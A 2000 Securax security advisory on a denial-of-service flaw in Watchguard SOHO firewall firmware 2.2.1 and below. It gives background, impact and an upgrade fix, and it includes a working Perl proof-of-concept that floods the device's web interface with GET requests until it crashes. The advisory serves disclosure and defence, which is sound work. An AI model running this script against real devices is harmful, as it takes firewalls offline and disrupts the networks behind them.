|
Home : Advisories : Watchguard SOHO 2.2 Denial of Service
Title: |
Watchguard SOHO 2.2 Denial of Service |
Released by: |
Securax |
Date: |
4th December 2000 |
Printable version: |
Click here |
=====================================================================
Securax-SA-10 Security Advisory
belgian.networking.security Dutch
=====================================================================
Topic: Watchguard SOHO 2.2 Denial of Service
Announced: 2000-12-04
Affects: Watchguard SOHO Firmware 2.2.1 and below
Not affected: Watchguard SOHO Firmware > 2.2.1
Vendor Status: Contacted & Comfirmed
=====================================================================
http://www.securax.org/pers
THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR
RESULTS. THEREFORE WE CANNOT ENSURE YOU THE INFORMATION BELOW IS
100% CORRECT. THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT PRIOR
NOTICE.
PLEASE, IF YOU HAPPEN TO FIND MORE INFORMATION CONCERNING
THE BUG DISCUSSED IN THIS ADVISORY, PLEASE SHARE THIS ON BUQTRAQ
OR VULN-DEV. THANK YOU,
I. Background
The Watchguard SOHO Firewall is a small personal hardware firewall
used for xDSL, ISDN and Cable connections. The Firewall uses a
packet filtering based approach including Dynamic NAT'ting. There
is option for one machine in a DMZ and has support for VPN. The
SOHO model is intended for small office and home office users. To
configure the firewall there is a html interface accessible to the
local side ( default ) and even remote side ( through password ).
II. Problem Description
Local and Remote users can crash the Watchguard SOHO Firewall using
alot (+ 70) of GET requests to the webserver on the machine. While
sending these request we can see the free memory getting down very
fast. (from 700k to 500k after just a few requests).
III. Reproduction of the problem
#!/usr/bin/perl
#
# You can also connect to the Watchguard SOHO through your
# browser and press F5 like a maniac on speed to get the
# firewall crashing. So, either you run the .pl script or
# you fire up your webbrowser... Either way, it works.
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
# (c)Proof of concept, vorlon
# ----------------------------------------------------------
use IO::Socket;
$host = "your_watchguard_ip";
$port = "your_port";
$repeat = "100";
$request = "GET / HTTP/1.0";
print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Failed.\n";
$counter = 0;
print "Repeating request for $repeat times.\n";
while($counter < $repeat) {
print $socket "$request\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "\nThe Watchguard SOHO has crashed. BEEFCAKE!...\n";
print ".";
$counter += 1;
}
print "\nDone.\n\n";
close($socket);
III. Impact
After using this exploit, the Firewall has been rendered useless and
will reboot or simply crash and burn ( in this case, you'll have to pull
the plug to reset the machine ). In case of a spontanious reboot, the
downtime of the firewall, thus functionality of the company, is
considered to be between one minute and five minutes. If one is
constantly running exploit-code, the firewall can be kept under a
constant outage. This attack will not show up in the logfile except
for a reboot notice.
IV. Solution
Upgrade to a more recent Firmware ( > 2.2.1 ). Check the website
for more information < http://bisd.watchguard.com >. IMHO, a nice
bughunt in their webservice should be nice ;-)
V. Credits
Cicer0 < davy@securax.be > for original error discovery -*- vorlon
< filip@securax.be > for advisory, exploit code and additional
testing.
=====================================================================
For more information info@securax.org
Website http://www.securax.org
http://www.securax.be
Advisories/Text http://www.securax.org/pers
---------------------------------------------------------------------
|